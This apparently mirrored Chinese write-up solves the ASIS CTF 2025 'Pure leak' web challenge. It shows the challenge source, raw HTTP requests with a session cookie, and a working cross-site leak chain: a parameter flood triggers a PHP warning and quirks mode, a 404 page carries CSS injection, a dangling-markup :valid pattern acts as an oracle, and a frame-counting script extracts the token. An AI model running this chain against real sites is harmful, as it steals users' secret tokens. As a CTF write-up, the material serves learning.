基于错误xsleak 悬空标记 运用css利用帧计数 -- Pure leak ASIS CTF 2025
官方wp
https://blog.arkark.dev/2025/09/08/asisctf-quals
entrypoint.sh
#!/bin/sh
set -eu
# load balancing
php -S 127.0.0.1:9000 &
php -S 127.0.0.1:9001 &
php -S 127.0.0.1:9002 &
php -S 127.0.0.1:9003 &
cat > /tmp/Caddyfile << EOF
:3000 {
header {
defer
Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
}
reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
replace_status 200
}
}
EOF
exec caddy run --config /tmp/Caddyfile
index.php
<?php
// 校验输入内容的函数
function validate(mixed $input): string {
// 检查输入是否为字符串类型
if (!is_string($input)) return "Invalid types";
// 检查字符串长度是否超过1024
if (strlen($input) >
1024) return "Too long";
// 检查是否包含非可打印ASCII字符(允许回车和换行)
if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";
// 检查是否包含敏感关键字或特殊字符
if (preg_match('*http|data|\\\\|\*|\[|\]|&|%|@|//*i', $input)) return "Invalid keywords";
// 返回原始输入
return $input;
}
?>
<
!DOCTYPE html>
<html><body><h1>pure-leak </h1><h3>Source</h3><!-- 显示当前文件的源码,使用htmlspecialchars防止XSS --><pre><?php echo htmlspecialchars(file_get_contents(__FILE__));?></pre><h3>Content</h3><!-- 显示经过validate函数校验后的GET参数content内容 --><?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n";?><h3>Token</h3><!-- 显示TOKEN的cookie值,若不存在则显示默认值 --><?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef");?><h3>Usage</h3><!-- 提供一个示例链接 --><a href="/?content=your_input">/?content=your_input</a></body></html>
part 1 PHP Error
当您向一个 PHP 脚本发起请求(GET 或 POST),并且请求中的参数总数超过 max_input_vars
指令的限制时,PHP 就会产生一条 E_WARNING 级别的错误信息。如果服务器配置为显示错误(通常在开发环境),这个警告就会直接输出到响应体的开头。
GET http://192.168.124.6:3000/?a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1 HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 13:58:07 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy
X-Powered-By: PHP/8.3.24
Content-Length: 2250
<br />
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<!DOCTYPE html>
<html>...
part 2 Quirks Mode
浏览器为兼容早期非标准网页而启用的一套历史渲染与解析行为。当文档未正确声明标准 DOCTYPE
,或在 DOCTYPE
之前已有任何字节输出(如服务器警告文本),浏览器会进入 Quirks Mode。此时 document.compatMode === "BackCompat"
;标准模式为 "CSS1Compat"
。
标准模式下:<link rel="stylesheet">
仅在响应 Content-Type: text/css 时当作样式表处理。
Quirks Mode 下(仅限同源):即使响应类型不是 text/css,也必须把其当作 CSS 解析。这是规范中特意标注的“Quirk”例外,用于兼容旧站点。参考:WHATWG HTML 规范(stylesheet 链接的处理流程与“Quirk”说明)
https://html.spec.whatwg.org/multipage/links.html#link-type-stylesheet
Quirk: If the document has been set to quirks mode, has the same origin as the URL of the external resource, and the Content-Type metadata of the external resource is not a supported style sheet type, the user agent must instead assume it to be .[text/css](https://html.spec.whatwg.org/multipage/indices.html#text/css)
The linked resource fetch setup steps for this type of linked resource, given a element and request , are:[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)
elrequest
If 's attribute is set, then return false.el
[disabled](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-disabled)
If contributes a script-blocking style sheet, append to its node document’s script-blocking style sheet set.elel
If 's attribute’s value matches the environment and is potentially render-blocking, then block rendering on .el
[media](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-media)
elelIf is currently render-blocking, then set 's render-blocking to true.elrequest
Return true.
See issue #968 for plans to use the CSSOM fetch a CSS style sheet algorithm instead of the default fetch and process the linked resource algorithm. In the meantime, any critical subresourcerequest should have its render-blocking set to whether or not the element is currently render-blocking.[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)
part 3 use 404!
content 的注入点之前页面里已有
/*
,而校验又禁止*
,无法写*/
关掉注释。PHP 内置服务器的 404 页面会把“请求的 URL”原样插进响应体里。把 CSS 写进查询串,404 页就会把这段 CSS 放进正文,而且不在任何注释里。
GET http://192.168.124.6:3000/tere_you_payload.php HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Length: 553
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 14:45:57 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy
404 Not Found
body { background-color: #fcfcfc; color: #333333; margin: 0; padding:0; }
h1 { font-size: 1.5em; font-weight: normal; background-color: #9999cc; min-height:2em; line-height:2em; border-bottom: 1px inset black; margin: 0; }
h1, p { padding-left: 10px; }
code.url { background-color: #eeeeee; font-family:monospace; padding:0 2px;}
Not FoundThe requested resource /tere_you_payload.php
part 4 悬空标记
因为csp,我们无法使用选择器外带token
但是有一个可用的
:valid
属性
<style>label {display: block;margin-top: 1em;}input:valid {background-color: ivory;border: none;outline: 2px solid deepskyblue;border-radius: 5px;accent-color: gold;}
</style>
<form>
<label for="email">Email Address:</label><input id="email" name="email" type="email" value="na@me@example.com" />
<label for="secret">Secret Code: (lower case letters)</label><input id="secret" name="secret" type="text" value="test" pattern="[a-z]+" />
<label for="age">Your age: (18+)</label><input id="age" name="age" type="number" value="5" min="18" /><label><input name="tos" type="checkbox" required checked /> - Do you agree toToS?</label>
</form>
当 value 中包含 TOKEN_012 时,input:valid 为真,父 div 背景变绿;否则不变。
<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet"><div><input pattern=".+TOKEN_012.+" value="
<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet"><div> <input pattern=". TOKEN_012. " value="<h3>Token</h3><!-- 显示TOKEN的cookie值,若不存在则显示默认值 -->TOKEN_0123456789abcdef <h3>Usage</h3><!-- 提供一个示例链接 --><a href=" ?content="your_input"">/?content=your_input</div>
part 5 帧计数
window.length
**window.length
表示当前窗口中“子浏览上下文”的数量,即 frame/iframe
的个数。等同于 window.frames.length
。如果页面没有任何 frame/iframe
,它就是 0。
<iframe src="a.html"></iframe>
<iframe src="b.html"></iframe>
<script>console.log(window.length);// 2for (let i = 0; i < window.length; i++) {console.log(window.frames[i].location.href);}
</script>
示例
window.length
计数对象:只计算当前窗口中“直接子”浏览上下文(frame/iframe/object/embed 等会创建 NBC 的元素)。<object type="text/html">
的特性:当元素参与渲染时,浏览器会为其实例化一个嵌套浏览上下文;如果在它被构造/布局前就处于display:none
,通常不会实例化该上下文。
<!doctype html><meta charset="utf-8"><title>用解析阶段样式门控 NBC 创建</title><button id="hit">命中(length 预期 0)</button><button id="miss">未命中(length 预期 1)</button><pre id="log"></pre><script>// 简单日志(中文注释,不改动代码逻辑)function log(...args) {document.getElementById('log').textContent += args.join(' ') + '\n';console.log(...args);}const sleep = ms =>new Promise(r =>setTimeout(r, ms));// 打开同源子窗口,便于读取 win.lengthconst win = open('about:blank', '_blank');async function render({ value}) {// 整体重写新文档:样式在前,元素在后,让样式在解析阶段就生效const html = `<!doctype html><meta charset="utf-8"><style>/* 命中 :valid 时,整个容器 display:none,从而阻止 <object> 创建 NBC */div:has(input:valid) { display: none; }</style><div id="box"><object data="about:blank" type="text/html" width="200" height="100"></object><input pattern="ABC" value="${value}"></div>`;win.document.open();win.document.write(html);win.document.close();// 等待创建/不创建完成后再读计数await sleep(150);log('win.length =', win.length);}document.getElementById('hit').onclick = () =>render({ value: 'ABC'});// 命中 :valid → 0document.getElementById('miss').onclick = () =>render({ value: 'ABD'});// 未命中 → 1</script>
- 解析顺序关键点:
win.document.open()/write()/close()
将子窗口导航到全新文档;- 这份文档里把
<style>
放在元素前,CSS 在解析时同步生效; - 规则
div:has(input:valid){display:none}
若命中,会让包含<object>
的父div
直接变为display:none
; - 因为父容器在构建阶段即为
display:none
,其中的<object>
不会被实例化为活动的嵌入内容,自然也就不会创建 NBC; - 最终读取
win.length
:命中则为 0,未命中则<object>
创建 NBC,变为 1。
- 命中条件来源:
<input pattern="ABC" value="${value}">
与伪类:valid
。当value
为"ABC"
时命中:valid
,div
被隐藏;否则不隐藏。 - 为什么需要
await sleep(150)
:给浏览器一个短暂窗口完成(或不完成)NBC 实例化,避免竞态导致读数抖动。
通过这个原理写出
<script>const sleep = (ms) =>new Promise(r =>setTimeout(r, ms));const win = open("");const match = async (pattern) =>{const BASE_URL = "http://192.168.124.6:3000";win.location = "about:blank";await sleep(100);const content = `<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel="stylesheet"><div><embed src="about:blank" type="text/html"><input pattern=".+${pattern}.+" value="`;const url = `${BASE_URL}?content=${encodeURIComponent(content)}${"&a".repeat(1000)}`;win.location = url;await sleep(100);return win.length === 0;};(async () =>{const result = await match("TOKEN_123");console.log(result);})();</script>
QEF
#xss #帧计数 #悬空标记 #xs-leak基于错误的
相关文章:
基于错误xsleak 悬空标记 运用css利用帧计数 -- Pure leak ASIS CTF 2025
基于错误xsleak 悬空标记 运用css利用帧计数 -- Pure leak ASIS CTF 2025pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courie…...
网易伏羲:当算法遇见社交,解码游戏世界的连接密码
日前,2025游戏安全与创新大会圆满召开,大会以“AI融合创新”与“全链路安全防护”为双主线,聚焦游戏策划与运营核心问题,深度解析AI与游戏结合的提效、玩法及体验升级路径;同时直面开发、运营、发行、支付、出海等阶段的关键挑战,涵盖作弊、合规、欺诈等议题,助力从业者…...
在 CentOS 7 上安装Nginx和配置http代理
1. 安装 EPEL 仓库 NGINX 不在 CentOS 的默认仓库中,因此首先需要安装 EPEL(Extra Packages for Enterprise Linux) 仓库。sudo yum install epel-release2. 安装 NGINX 通过 yum 包管理工具安装 NGINX。sudo yum install nginx3. 启动 NGINX 服务sudo systemctl start ngin…...
题解:P2624 [HNOI2008] 明明的烦恼
题解:P2624 [HNOI2008] 明明的烦恼 不会 $prufer$ 序列的请右转树的计数,先将 $prufer$ 序列掌握再做这题。 设有 $n$ 个节点,$deg_i$ 为每个节点的度数,由上题可得,此时可能的无根树的方案为: $$\frac{(n-2)!}{\prod_{i=1}^{n}(deg_i-1)!}$$ 但是这题只给了我们部分节点…...
在AI技术快速实现创想的时代,挖掘新需求成为核心竞争力——某知名DevOps学习平台需求洞察
该篇文章无摘要a.内容描述 该项目是一个结构化的DevOps学习资源,旨在帮助用户建立DevOps基础知识的系统化理解。核心功能定位是通过90天的学习计划,系统性地覆盖DevOps原则、流程和工具链的关键领域,包括DevOps基础、DevSecOps安全主题以及社区分享内容。 关键应用场景包括:…...
Windows Powershell 获取版本version
前言全局说明一、 1.源码 $PSVersionTable.PSVersion2.结果免责声明:本号所涉及内容仅供安全研究与教学使用,如出现其他风险,后果自负。参考、来源: https://www.cnblogs.com/music-liang/p/18813922 作者:悟透原文链接:https://www.cnblogs.com/wutou/p/19097392来源:博…...
XXL-JOB (1)
XXL-JOB (1)# 1 测试...
记录---Vue3对接UE,通过MQTT完成通讯
🧑💻 写在开头 点赞 + 收藏 === 学会🤣🤣🤣概述一个基于Vue3的实时视频流显示系统,主要用于连接和显示Unreal Engine (UE) 服务器的实时渲染内容。该页面集成了PixelStreaming技术和MQTT通信协议,提供了完整的视频流控制和交互功能。主要功能实时视频流显示:连接…...
《Real-Time Rendering》第一章 介绍
开篇实时渲染涉及在计算机上快速地生成图像,它是计算机图形学中最高交互性的领域。一张图像出现在屏幕上,观察者会行动或反应,这些反馈接着会影响后续要生成的图像。这种反应和渲染的循环发生在足够快的速率,让观察者看不到单独的图像,而是沉浸于一个动态的过程中。图像被…...
公益站Agent Router注册送200刀额度竟然是真的
昨天看到说Agent Router邀请注册送100美刀,我就点了别人的链接,使用github注册了一个,确实得到了额度。但是我去聊天那里,发现会有错误,以为这个不好用:但是今天测试了一下在Claude Code确实能用,而且速度也还可以!!感兴趣的朋友也快来试试吧!! 邀请链接:https://a…...
数据集中valid的作用
简单来说,valid(或 val)文件夹的存在是为了在模型训练过程中,定期、独立地评估模型的性能,以便进行模型调优、防止过拟合和选择最佳模型。它是机器学习工作流中至关重要的一环。 一般的数据集结构:1. Train(训练集)目的:这是模型“学习”所用的主要数据。模型通过反复…...
深入 RocketMQ 核心源码:从环境搭建到高可用设计的全方位解析
深入 RocketMQ 核心源码:从环境搭建到高可用设计的全方位解析 在分布式系统中,消息队列是实现异步通信、解耦服务与削峰填谷的关键组件,而 RocketMQ 凭借其高吞吐、低延迟与高可用的特性,成为众多企业的首选。本文将从源码角度出发,带大家一步步揭开 RocketMQ 的神秘面纱,…...
从零到顶会:NLP科研实战手册 - 实践
从零到顶会:NLP科研实战手册 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important;…...
单例模式
饿汉式(单例对象立即加载) 懒汉式(单例对象延时加载)...
apache修改默认位置
1、修改apache2.conf文件 <Directory 自定义目录/xx/xx/xx> Options Indexes FollowSymLinks AllowOverride None Require all granted</Directory> 2、修改sites-available/000-default.conf文件 #DocumentRoot /var/www/html DocumentRoot 自定义目录…...
实用指南:YOLOv11的旋转目标检测改进-(扩展检测头支持旋转框预测,适配遥感场景)
实用指南:YOLOv11的旋转目标检测改进-(扩展检测头支持旋转框预测,适配遥感场景)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &q…...
肝不好能喝酒吗
一般肝脏不好的患者不建议喝酒,可能会加重不适症状,影响健康。 肝脏是人体的重要器官,负责处理和代谢许多物质。如果肝脏不健康或受损,饮酒可能会产生负面影响,并导致一系列不适症状,甚至加重肝脏疾病。因此肝脏不好的人群不建议饮酒,以免对身体健康造成不良影响。 酒精…...
ROS中如何将日志格式设置为行号的形式
export RCUTILS CONSOLE OUTPUT FORMAT=[{function name}:{line_number}]:{message}...
USB相关的sysfs文件(重要的)【转】
https://www.cnblogs.com/linhaostudy/p/18388902 阅读目录前言 目录内容详解常见的 USB 相关目录及其含义1. /sys/bus/usb 目录下的含义1.1 /sys/bus/usb/devices/usb11-0:1.0 1-1.1:1.0结构图 设备信息bDeviceClass version busnum & devnum dev bMaxPower idVendor &…...
25上第一周
《数学之美》第三章以“语言模型与中文信息处理”为核心,通过讲述统计语言模型如何破解中文分词、语音识别等难题,展示了数学在解决复杂问题时的优雅与力量。作者用“马尔可夫链”将看似无序的汉字序列转化为可计算的概率问题,这种化繁为简的思维令我得到了许多感悟。尤其当…...
深入解析:RxJava在Android中的应用
深入解析:RxJava在Android中的应用pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important; …...
模型选择与配置说明
模型选择与配置说明(Detection / Recognition / Classification) 本文系统说明本项目在“检测(det)/识别(rec)/分类(cls)”三条子任务上的模型选择思路、备选方案对比、输入尺寸与性能取舍、部署格式(ONNX/MNN)、以及在 GUI 与代码层面的配置方式。目标是让读者理解“…...
梯度下降算法
Gradient Descent 梯度下降一、核心思想:一个最经典的比喻 想象一下,你是一个蒙着眼睛的登山者,被困在一片漆黑的山林中。你的目标是走到山谷的最低点(寻找最低点)。 你会怎么做?你会用脚感受一下周围的地面,找出哪个方向是“下坡”最陡的。然后朝着那个最陡的下坡方向迈…...
002_文本分类任务的问答
1、下面代码中,random_state作为随机种子作用是什么? train_x, valid_x, train_y, valid_y = model_selection.train_test_split(trainDF[text], trainDF[label], test_size=0.25, random_state=42)这段代码的作用是随机把数据分为两个部分 计算机的“随机数”其实是 伪随机数…...
车牌识别
车牌识别方案对比与实现总结(GUI 三方法:lock / test / rec2) 本文面向实际工程应用,系统梳理当前 GUI 集成的三种车牌识别方法(lock、test、rec2)的技术亮点、设计思路、模型选择、实现过程与关键代码,帮助快速理解与持续优化。目标是:在统一界面中,对比“传统候选+文…...
告别人工标注瓶颈!Reward-RAG:用 CriticGPT 打造更懂人类偏好的检索模型
Reward-RAG: Enhancing RAG with Reward Driven Supervision 全文摘要 本文介绍了一种名为Reward-RAG的新方法,旨在通过奖励驱动监督增强Retrieval-Augmented Generation(RAG)模型。与以往的RAG方法不同,该方法使用了CriticGPT训练了一个专门的奖励模型,并利用该模型生成合…...
在AI技术快速实现创想的时代,挖掘前端学习新需求成为关键——某知名编程教育平台需求洞察
本文分析了一个包含50个前端项目的编程学习资源,涵盖交互设计、动画效果和实用工具等多种类型,通过用户反馈发现了界面优化、功能扩展和教学改进等方面的潜在需求。a.内容描述 该项目是一个包含50个独立前端项目的编程学习资源,核心功能定位在于通过实际项目练习帮助开发者掌…...
Latex 中百分号怎么打
Latex 中百分号怎么打 由于 % 被用作注释符,所以前面 + \ 进行转义 \(\frac{285.5}{1-2.7\%}\)...
文件上传-条件竞争绕过
条件竞争原理: 条件竞争的逻辑是代码逻辑问题:当我们文件上传到服务器时,先对文件进行保存,然后对文件的后缀名进行判断,符合白名单的保存,不符合就删除,但在删除之前,有另一个对服务器发起的请求,要访问这个文件,那么就可能造成文件被读取和访问。这就是条件竞争。 …...
9.17 CSP-S模拟23/多校A层冲刺NOIP2024模拟赛19 改题记录
HZOJ 写在前面 连着三天吃三坨。本来想着今天大凶忌参加模拟赛然后没模拟赛挺好的,然后7:57临时通知加场,难道这就是大凶?好吧打就打吧,没想到真差点爆零。粗看没一道题可做怀疑自己的水平了然后赛后猛然醒悟是自己蠢如猪。其实这篇前面应该还有两篇,但是奈何这套改完得比…...
C++ 并发
C++ 并发编程是现代软件开发中的核心技术,主要用于利用多核处理器提升程序性能。C++11 及后续标准引入了完善的并发库(<thread>、<mutex>、<condition_variable> 等),使开发者能更安全地编写多线程程序。 1、std::thread std::thread 是 C++11 引入的线程…...
UML 5章
UML是建模语言,能够用面向对象的方法描述任何类型的系统 UML时序图:他通过对象之间发送消息的时间顺序显示多个对象之间的动态协作,重在对象之间的交互,强调时间顺序例UML状态图例...
《微服务事务管理》 - 教程
《微服务事务管理》 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important; font-siz…...
python之socket udp服务器实现
import socket# 1. 创建 UDP Socket (SOCK_DGRAM 表示 UDP) receiver_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)# 2. 绑定地址和端口 receiver_address = (, 1883) # 端口号 9999 receiver_socket.bind(receiver_address)print("UDP 接收方已启动,等待…...
kylin SP3安装mysql 8.4.5
环境:OS:kylin SP3mysql:8.4.5 glibc2.17,建议安装glibc.2.28版本 查看系统glibc版本[root@localhost ~]# ldd --versionldd (GNU libc) 2.28Copyright (C) 2018 自由软件基金会。这是一个自由软件;请见源代码的授权条款。本软件不含任何没有担保;甚至不保证适销性或者适合某…...
Unity中是否可以禁用GC
